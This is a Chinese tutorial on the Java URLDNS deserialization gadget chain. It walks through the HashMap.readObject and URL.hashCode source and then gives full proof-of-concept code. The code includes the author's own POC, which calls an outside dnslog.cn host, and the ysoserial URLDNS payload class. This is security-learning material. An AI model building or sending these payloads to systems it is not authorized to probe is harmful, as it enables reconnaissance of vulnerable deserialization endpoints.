本文主要是介绍URLDNS利用链,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
利用链分析在我的Github主页
Java反序列化学习
下面写下POC思路
利用点HashMap的readObject
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt(); // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}
看下对应的writeObject
private void writeObject(java.io.ObjectOutputStream s)throws IOException {int buckets = capacity();// Write out the threshold, loadfactor, and any hidden stuffs.defaultWriteObject();s.writeInt(buckets);s.writeInt(size);internalWriteEntries(s);
}
internalWriteEntries(s);函数
tab.key对应的是我们的URL
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {Node<K,V>[] tab;if (size > 0 && (tab = table) != null) {for (int i = 0; i < tab.length; ++i) {for (Node<K,V> e = tab[i]; e != null; e = e.next) {s.writeObject(e.key);s.writeObject(e.value);}}}}
我们要修改tab中的K,从而达到写入URL的目的,下面看如何写入tab。
用到的是put方法
public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}
这里注意一下在put函数中调用了利用链中的putVal函数,后面也会触发DNS请求。为了不将这次请求与目标请求弄混,这里有两种方法。
- 给URL变量赋值
在URL hashCode函数中会做个判断,我们将hashCode设置为一个不等于-1的值,就可以不在POC截断触发RCE触发点。
但是要记得在反序列化之前需要将hashCode改回-1
public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;
}
- ysoserial的方法
覆盖了URLStreamHandler中的openConnection和getHostAddress方法,其中getHosAddress是本利用链RCE触发点。
static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
最后给出自己写的POC
package ysoserial.poc;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class urldns {public static void main(String[] args) throws Exception {HashMap hashmap = new HashMap();URL url = new URL("http://ybnlxi.dnslog.cn");//urlField field = Class.forName("java.net.URL").getDeclaredField("hashCode");field.setAccessible(true);//hashCode为私有对象field.set(url,666);//将url对象的hashCode值设置为666!=-1hashmap.put(url, 1);field.set(url, -1);//反序列化时hashCode值为-1try {FileOutputStream fileOutputStream = new FileOutputStream("./s.ser");ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);objectOutputStream.writeObject(hashmap);objectOutputStream.close();fileOutputStream.close();FileInputStream fileInputStream = new FileInputStream("./s.ser");ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);objectInputStream.readObject();fileInputStream.close();objectInputStream.close();}catch (Exception e) {e.printStackTrace();;}}
}
测试
ysoserial的POC
package ysoserial.payloads;import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;/*** A blog post with more details about this gadget chain is at the url below:* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/** This was inspired by Philippe Arteau @h3xstream, who wrote a blog* posting describing how he modified the Java Commons Collections gadget* in ysoserial to open a URL. This takes the same idea, but eliminates* the dependency on Commons Collections and does a DNS lookup with just* standard JDK classes.** The Java URL class has an interesting property on its equals and* hashCode methods. The URL class will, as a side effect, do a DNS lookup* during a comparison (either equals or hashCode).** As part of deserialization, HashMap calls hashCode on each key that it* deserializes, so using a Java URL object as a serialized key allows* it to trigger a DNS lookup.** Gadget Chain:* HashMap.readObject()* HashMap.putVal()* HashMap.hash()* URL.hashCode()***/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}/*** <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior* using the serialized object.</p>** <b>Potential false negative:</b>* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.</p>*/static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}
这篇关于URLDNS利用链的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!